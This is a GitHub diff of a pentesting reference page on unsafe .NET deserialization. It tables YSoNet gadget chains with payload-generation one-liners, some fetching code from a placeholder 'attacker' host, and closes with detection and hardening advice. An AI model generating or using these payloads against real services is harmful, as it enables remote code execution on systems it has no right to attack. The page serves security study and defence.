You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.
200
+
201
+
Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
202
+
203
+
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|**TypeConfuseDelegate**| Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) |`BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer`|`ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin`|
206
+
|**ActivitySurrogateSelector**| Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly |`BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter`|`ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat`|
207
+
|**DataSetOldBehaviour**| Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) |`LosFormatter`, `BinaryFormatter`, `XmlSerializer`|`ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml`|
208
+
|**GetterCompilerResults**| On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c`|`Json.NET` typeless, `MessagePack` typeless |`ysonet.exe GetterCompilerResults -c Loader.dll > payload.json`|
209
+
|**ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely |`BinaryFormatter`, `Json.NET`, `XAML`, *etc.*|`ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml`|
210
+
|**PSObject (CVE-2017-8565)**| Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter`|`ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin`|
211
+
212
+
> [!TIP]
213
+
> All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
214
+
215
+
### Building / Installing YSoNet
216
+
217
+
If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode:
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
232
+
233
+
### Detection & Hardening
234
+
***Detect** unexpected child processes of `w3wp.exe`, `PowerShell.exe`, or any process deserialising user-supplied data (e.g. `MessagePack`, `Json.NET`).
235
+
* Enable and **enforce type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) whenever the legacy `BinaryFormatter` / `NetDataContractSerializer` cannot be removed.
236
+
* Where possible migrate to **`System.Text.Json`** or **`DataContractJsonSerializer`** with whitelist-based converters.
237
+
* Block dangerous WPF assemblies (`PresentationFramework`, `System.Workflow.*`) from being loaded in web processes that should never need them.
0 commit comments